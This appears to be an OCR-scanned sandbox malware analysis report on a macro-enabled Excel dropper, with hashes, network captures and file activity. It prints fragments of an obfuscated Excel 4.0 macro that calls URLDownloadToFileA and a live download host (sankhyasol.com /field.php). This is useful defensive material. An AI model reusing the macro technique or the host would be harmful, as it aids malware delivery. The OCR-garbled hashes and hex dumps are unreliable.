C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

80447

7.8853212587074335

false
1536:Wag5hUkpDwa8AeWvilWXWGHwIMVGolahaDHTUGBhryF70Ng:WagckpDYAilWXW2w2sTU2yF70m
FF71B72DC713F5B0302778515EF12EF1

180666F55365875BCD729461742051D2F898DB21
68E03DFAD51D5314D9A1CB4A65865C3DCID5D3114E7A4B4A45A86B904C20145F

69658B736B5AD386D21D6A28C722DBD474685A50AFAFDF178925A70787BD6E66C1F46DES3A70A6C8E4426B970FDODABOB156843E75E7E20BD860D9034F85BES
B

false

e 9g...0/;..W.AZS..jB.0..i.5..t . %E..
R.LLL-@.4. cL....(ed..u...EmH....K[.LU....
[Content_Types].xml ...(

y..R..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/IFFDIW2fj/FFDJIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8BAC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

.user LALDUS user LAlbus oo

Static File Info

General

File type: Microsoft Excel 2007+

Entropy (8bit): 7.88644231921371

TriD: o Excel Microsoft Office Open XML Format document

(40004/1) 83.33%
e ZIP compressed archive (8000/1) 16.67%

File name: Documents_1605962083_895739149.xIsm

File size: 80500

MD5: 77941203a3ef209ec6b53d47f0b6d5c0

SHA1L: a2c4f211a8007a6cldef18ab10722edd235a5a70

SHA256: 05ec137601fe0ch3bb5605a55df59e9e03cffa66b43e545
910cd12030bfcad56

SHA512: 21ab17439a8ccd89134e6beb9640c209d03643flae572a
2807851ce48f0f5eeadc442f6e554850703d9817be22a99
8040ce52ff7de375bbd823b0d255a0d80ca

SSDEEP: 1536:EYwxIP2YdDB3AeWOiIXOmT/WGH+IMVGolahaD
HTU6hryF70w:EYwxIP2YRB3Ri1/W2+2sTU2yF70w

File Content Preview: PK..oooe L9 [Content_Types].xml ...(.....cccccoeeee
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File Icon

Icon Hash: ede2aa8aadbcbcac

Static OLE Info

General
Document Type: OpenXML
Number of OLE Files: 1

OLE File "Documents_1605962083_895739149.xIsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Macro 4.0 Code

=HALT()

rsg gttt M &CALL(Docs1!BM23&Docs1!BM24&Docs1!BM25,Docs1!BO23&Docs1!BO24&Docs1!BO25,Docs1!BQ23&Docs1!BQ24,0,Docs1!BR23&Docs1!BR24,Docs1!BP9,0,0)=Docs4!ARS()

Pt Ap://,,5aNKNYASOLCOMYiEld., PR, ., =" g g g g g i g s g s i g s g g v g o g s g g, S AL | (Docs1!BN13&Docs1!BN14,Docs11BP13&Docs1!BP14&Docs1IBP15&Docs1!
BP16&Docs1!BP17,Docs1!BR13&Docs1!BR14&Docs1!BR15,0,BC6&BC7&BC8&BCY,Docs1!BP9,0,0)=ACOS(45415151)=ATAN2(485,45151)="""&"""&"""&" """ &"""&"""&" """ &D0ocs3!AN14()",,

Network Behavior

Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
04/06/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden 80 49165 148.66.138.148 192.168.2.22
13:50:47.395799

Network Port Distribution

Total Packets: 10

® 53 (DNS)
@ 80 (HTTP)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Apr 6, 2021 13:50:46.359304905 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:50:46.641935110 CEST 80 49165 148.66.138.148 192.168.2.22
Apr 6, 2021 13:50:46.642035961 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:50:46.642566919 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:50:46.924983025 CEST 80 49165 148.66.138.148 192.168.2.22
Apr 6, 2021 13:50:47.395798922 CEST 80 49165 148.66.138.148 192.168.2.22
Apr 6, 2021 13:50:47.396002054 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:50:52.400693893 CEST 80 49165 148.66.138.148 192.168.2.22
Apr 6, 2021 13:50:52.400763035 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:52:46.207159996 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:52:46.924426079 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:52:48.359724998 CEST 49165 80 192.168.2.22 148.66.138.148
Apr 6, 2021 13:52:51.214715004 CEST 49165 80 192.168.2.22 148.66.138.148

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Apr 6, 2021 13:50:46.288646936 CEST 52197 53 192.168.2.22 8.8.8.8

Apr 6, 2021 13:50:46.344589949 CEST 53 52197 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Apr 6, 2021 13:50:46.288646936 CEST 192.168.2.22 8.8.8.8 Oxad13 Standard query  sankhyasol.com A (IP address) IN (0x0001)
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Apr 6, 2021 8.8.8.8 192.168.2.22 Oxad13 No error (0) sankhyasol.com 148.66.138.148 A (IP address) IN (0x0001)

13:50:46.344589949

CEST

HTTP Request Dependency Graph

e sankhyasol.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 148.66.138.148 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
kBytes

Timestamp transferred Direction Data

Apr 6, 2021 0 ouT GET /field.php HTTP/1.1

13:50:46.642566919 CEST Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: sankhyasol.com

Connection: Keep-Alive

Apr 6, 2021 1 IN HTTP/1.1 403 Forbidden
13:50:47.395798922 CEST Date: Tue, 06 Apr 2021 11:50:46 GMT
Server: Apache
X-Powered-By: PHP/7.3.23
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Vary: User-Agent
Content-Length: 0
Keep-Alive: timeout=5
Content-Type: text/html; charset=UTF-8
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Code Manipulations

Statistics

System Behavior

Analysis Process: EXCEL.EXE PID: 2492 Parent PID: 584

General

Start time: 13:50:37

Start date: 06/04/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13fe10000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\D6DF.tmp read attributes | device synchronous io  success or wait 1 14015EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\D8DEOOOO read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\Desktop\~$Documents_1605962083_895739149.xIlsm read attributes | device synchronous io success or wait 1 7FEEAC59ACO unknown
delete | syn non alert | non
chronize | directory file |
generic read | delete on close
generic write | open no recall
C:\Users\user\Desktop\89DE0000 read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user read data or list device directory file |  object name 1 140B3828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 140B3828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device directory file |  object name 1 140B3828C URLDownloadToFileA
Files directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\3B2D.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\D6DF.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image004.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\3B2D.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\D8DEOO0OO
C:\Users\user\Desktop\89DE0000

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm

C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\image004.png
C:\Users\user\AppData\Local\Temp\imgs_files\image013.png
C:\Users\user\AppData\Local\Temp\imgs_files\image015.png
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htm

Copyright Joe Security LLC 2021

Access Attributes Options Completion Count
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read attributes | device synchronous io success or wait 1

synchronize |
generic read

non alert | non
directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv

C:\Users\user\Desktop\Document
s_1605962083_895739149.xIsm

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image004.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~s~

Completion
success or wait

success or wait

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Source
Address

140B3828C

140B3828C

140B3828C

140B3828C

140B3828C

140B3828C

14015EC83

Symbol

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

GetTempFileNameW

Source

Count

P PR R R R R R R R R R R

Count

P R R R R R R R

Address
1403CB818
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
1403CB818

Source
Address

7FEEAC59ACO
7FEEAC59ACO

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Symbol
DeleteFileW
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

DeleteFileW

Symbol
unknown

unknown

unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown
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Source

Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~ success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_ C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..  success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_ C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_ C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss  success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn_ C:\Users\user\AppData\Local\Temp\imgs_files\image016.pngss success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pn_ C:\Users\user\AppData\Local\Temp\imgs_files\image017.pngss success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pn_ C:\Users\user\AppData\Local\Temp\imgs_files\image018.pngss success or wait 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pn_ C:\Users\user\AppData\Local\Temp\imgs_files\image019.pngss success or wait 7FEEAC59ACO unknown

C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht_ C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htmss  success or wait 7FEEAC59ACO unknown

P PR R R R R R R R

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__ C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss success or wait 7FEEAC59ACO unknown

File Written

Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Desktop\~$Docume unknown 55 0541 6¢ 62 7573 20 .user success or wait 1 14005F526 WriteFile
nts_1605962083_895739149.xIsm 20 20 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20 20

2020 20 20 20 20 20

2020 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20

C:\Users\user\Desktop\~$Docume unknown 110 050041006c0062 ..Albus............... success or wait 1 14005F591 WriteFile
nts_1605962083_895739149.xIsm 00750073002000 .. .vvveeeiiaeeee

20002000200020 . ............

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00

C:\Users\user\AppData\Local\Temp\D8DEOO0OO 569 441 c455ch4e eb 3010 .U.N.O.#.... success or wait 21 7FEEAC59ACO unknown
dd 23 f1 0f 91 b7 28 (qg.J..5e.c.Hp?...
71el4ae80a3565 .._....n(P..Q.....99...0/;..
c1630948703fcO W.AZS..jB.0..i.5..t[.%E
d893c6aas5fb20d ... .6.&m....[,T..H
a4 7f 7fc7 6e 28 50 c.f.......1..129...&.1q......
85b65191d8e4el .bg..*g..Z.KR5.:..8.D.n..].
f139 67 ce d8 1le 4f "..*l..sJr....... le..Bd..Z...
2f3bad8a57f041 .FE..,..q..P<0..F.S...
5a5393d36a420a ..jl.R..i...-
30 dc 0a 69 e6 35 f9
7 74 5b fe 25 45 88
cc 08 a6 ac 81 9a 2¢
2190 cb d9 f1 d1 f4
69 €9 20 14 88 36 al
26 6d 8c ee 82 d2 cO
5b d0 2c 54 d6 81 cl1
48 63 bd 66 11 7f fd
9c 3a c6 17 6¢ Oe f4
6¢ 32 39 a7 dc 9a 08
26 96 31 71 90 d9 f4
lalaf6 a2 6271 d3
el f0 2a 13 67 e6 a4
b8 5a cd 4b 52 35 91
3aeld3381d44 80
6e 06 11 5d 99 22 c3
18 0f 2a 6¢ 80 98 73
4a72 16 bl le f4 d5
88 0d 2f 65 ef a3 42
64 9e 13 5a e9 c2 09
9a fd 46 21 45 be fa
f8 2c d0 e3 ee 71 01
bc 14 50 3c 30 1f ef
98 46 b7 b4 53 f4 cd
fa c5 b3 b5 8b 6a 3b
49 ca 52 87 12 3a Oe
aa Oa 2d

C:\Users\user\AppData\Local\Temp\D8DE0OOO 1010 2 03 00 . success or wait 18 7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\D8DE0OOO

C:\Users\user\AppData\Local\Temp\D8DE0O0OO

Copyright Joe Security LLC 2021

Offset
0

3636

Length Value

569

1792

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
39 c3 fa 5 bb 01 00

0015070000 1300 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20 a2 04 0228 a0 00 .

02 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

89 50 4e 47 0d Oa 1a .

0a 00 00 00 0d 49 48
44 52 00 00 00 1e 00
00 00 1e 08 02 00 00
00 b4 52 39 f5 00 00
00 01 73 52 47 42 00
ae ce 1c e9 00 00 00
09 70 48 59 73 00 00
Oe c4 00 00 Oe c4 01
95 2b Oe 1b 00 00 06
a5 49 44 41 54 48 4b
8d 96 €9 53 53 57 18
c6 73 f7 6¢ 64 21 90
44 42 c2 aa a0 4c 10
5011 10 05 77 ad 55
a7 b6 56 ad d3 4e db
19 fb bl d3 ef fd e2
5fd0 7e ee 32 4e a7
ad a3 ad d6 ce 68 a7
6e 5550 41 44 47 c1
9d 45 01 09 46 42 16
12 42 d6 bb f5 b9 09
52 a5 b8 dc 81 99 e4
9e {7 fc ce 39 cf fb bc
ef 09 21 cb b2 ea 4d
4f 32 99 be d3 37 74
ec d4 25 04 ee de de
52 5d 59 aa 56 b3 6f
9a a4 22 5e 8f 8e 27
92 03 8f c7 2e 74 f4
de e9 1f 9e 8e c5 81
d3 eb b4 d5 15 25 eb
9b 6b 16 95 15 6a 35
ead7 2cf0 4a 74 2a
9d le le 1d bf dO d1
d3 7b 7f c8 3f 19 21
09 4a

Ascii

PK..oeee 19 e
[Content_Types].xml ...

....t.....IDATHK...SSW.

d!

s

15 B3 N [ /A L0 A/ N N L

.~.2N.....h.nUPADG..E
BHES

.F

Lt

Completion

success or wait

success or wait

Count Address

24

6

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\D8DE0OOO

C:\Users\user\Desktop\~$Docume
nts_1605962083_895739149.xIsm

C:\Users\user\Desktop\~$Docume
nts_1605962083_895739149.xIsm
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Offset Length Value Ascii

78815 1632

unknown 55

unknown 110

Source

Completion Count Address Symbol

success or wait 1 7FEEAC59ACO unknown
00 06 00 08 00 00 00
2100 39 c3 fa f5 bb
01 00 00 15 07 00 00
13 00 00 00 00 00 00 IsPK :
00 00 00 00 00 00 00 .....cevveuvienne xl/_rels/wor
00 00 00 00 5b 43 6f kbook.xml.relsPK..
6e 74 65 6e 74 5f54 G....... | TP
79 70 65 73 5d 2e 78 xl/workbook.xml

6d 6¢ 50 4b 01 02 2d

00 14 00 06 00 08 00

00 00 21 00 b5 55 30

23 f5 00 00 00 4c 02

00 00 Ob 00 00 00 00

00 00 00 00 00 00 00

00 00 f4 03 00 00 5f

72 65 6¢ 73 2f 2e 72

65 6¢ 73 50 4b 01 02

2d 00 14 00 06 00 08

00 00 00 21 00 39 ed

al bb 32 01 00 00 d3

04 00 00 1a 00 00 00

00 00 00 00 00 00 00

00 00 00 1a 07 00 00

78 6¢ 2f 5f 72 65 6C

73 2f 77 6f 72 6b 62

6f 6f 6b 2e 78 6d 6¢

2e 72 65 6¢ 73 50 4b

01 02 2d 00 14 00 06

00 08 00 00 00 21 00

47 d0 f1 b0 cb 01 00

00 68 03 00 00 Of 00

00 00 00 00 00 00 00

00 00 00 00 00 8c 09

00 00 78 6¢ 2f 77 6f

72 6b 62 6f 6f 6b 2e

78 6d 6C

0541 6¢ 627573 20 .user
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

success or wait 1 14005F526 WriteFile

050041006c0062 ..Albus............... success or wait 1
00750073002000 .. .vvvvieeiiaeaae
20002000200020 . ............

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00

14005F591 WriteFile
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File Path
C:\Users\user\Desktop\89DE0000

C:\Users\user\Desktop\89DE0000
C:\Users\user\Desktop\89DE0000
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Offset

569

1010

Length Value Ascii

441

2
569

c4 55 cb 4e eb 30 10 .U.N.O. 4....
dd 231 0f91b728 (q.J..5e.c.Hp?...

71el4ae80a3565 .._....n(P..Q.....99...0/;..
c1630948703fcO W.AZS..jB.0..i.5. t[%E.......
d893c6aas5fb20d ... .6.&m....[,T..H

a4 7f 7fc7 6e 28 50 c.f.......1..129...&.1q......

85b65191d8e4el .bg..*g..Z.KR5.:..8.D.n..].
f139 67 ce d8 1le 4f "..*l..sJr....... le..Bd..Z...
2f3bad8a57f041 ..FE...,..q...P<0..F.S...
5a5393d36a420a ..jl.R..
30 dc 0a 69 e6 35 f9

7 74 5b fe 25 45 88

cc 08 a6 ac 81 9a 2¢

2190 cb d9 f1 d1 f4

69 €9 20 14 88 36 al

26 6d 8c ee 82 d2 cO

5b d0 2c 54 d6 81 cl1

48 63 bd 66 11 7f fd

9c 3a c6 17 6¢ Oe f4

6¢ 32 39 a7 dc 9a 08

26 96 31 71 90 d9 f4

lalaf6 a2 62 71d3

el f0 2a 13 67 e6 a4

b8 5a cd 4b 52 35 91
3aeld3381d44 80

6e 06 11 5d 99 22 c3

18 0f 2a 6¢ 80 98 73

4a72 16 bl le f4 d5

88 0d 2f 65 ef a3 42

64 9e 13 5a e9 c2 09

9a fd 46 21 45 be fa

f8 2c d0 e3 ee 71 01

bc 14 50 3c 30 1f ef

98 46 b7 b4 53 f4 cd

fa c5 b3 b5 8b 6a 3b

49 ca 52 87 12 3a Oe

aa Oa 2d

03 00

50 4b 03 04 14 00 06 PK.......... 19 e
00 08 00 00 00 21 00 [Content_Types].xml ...
39c3faf5bb 0100 (...
00 15 07 00 00 13 00 .
08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢C .
202204 0228a000 .
02 00 00 00 00 00 00 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

21

18
23

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\89DE0000

C:\Users\user\Desktop\89DE0000
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Offset
1012

3636

Length Value

561

1792

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
b5 55 30 23 f5 00 00

00 4c 02 00 00 0b 00 .

08 02 5f 72 65 6¢ 73
2f2e 72 65 6¢ 73 20

a2 04 0228a00002 .
00 00 00 00 00 00 00 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

89 50 4e 47 0d Oa 1a .

0a 00 00 00 0d 49 48
44 52 00 00 00 1e 00
00 00 1e 08 02 00 00
00 b4 52 39 f5 00 00
00 01 73 52 47 42 00
ae ce 1c e9 00 00 00
09 70 48 59 73 00 00
Oe c4 00 00 Oe c4 01
95 2b Oe 1b 00 00 06
a5 49 44 41 54 48 4b
8d 96 €9 53 53 57 18
c6 73 f7 6¢ 64 21 90
44 42 c2 aa a0 4c 10
5011 10 05 77 ad 55
a7 b6 56 ad d3 4e db
19 fb bl d3 ef fd e2
5fd0 7e ee 32 4e a7
ad a3 ad d6 ce 68 a7
6e 5550 41 44 47 c1
9d 45 01 09 46 42 16
12 42 d6 bb f5 b9 09
52 a5 b8 dc 81 99 e4
9e {7 fc ce 39 cf fb bc
ef 09 21 cb b2 ea 4d
4f 32 99 be d3 37 74
ec d4 25 04 ee de de
52 5d 59 aa 56 b3 6f
9a a4 22 5e 8f 8e 27
92 03 8f c7 2e 74 f4
de e9 1f 9e 8e c5 81
d3 eb b4 d5 15 25 eb
9b 6b 16 95 15 6a 35
ead7 2cf0 4a 74 2a
9d le le 1d bf dO d1
d3 7b 7f c8 3f 19 21
09 4a

Ascii
PK..oeee LLUO#....L.......
_rels/.rels ...(

....t.....IDATHK...SSW.
d!

s

15 B3 N [ /A L0 A/ N N L

.~.2N.....h.nUPADG..E
BHES

.F

Lt

Completion

success or wait

success or wait

Count Address

1

6

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path Offset

C:\Users\user\Desktop\89DE0000 78815

File Read

File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6F827B1F.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\39690E29.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\27FBOE16.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\5DB5A4C8.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\78E8932A.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\2D8C3523.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6F6F568D.png

C:\Users\user\Desktop\Documents_1605962083_895739149.xlsm
C:\Users\user\Desktop\Documents_1605962083_895739149.xlsm
C:\Users\user\Desktop\Documents_1605962083_895739149.xlsm
C:\Users\user\Desktop\Documents_1605962083_895739149.xlsm
C:\Users\user\Desktop\Documents_1605962083_895739149.xlsm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6 F6F568D.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\78E8932A.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\2D8C3523.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\5DB5A4C8.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
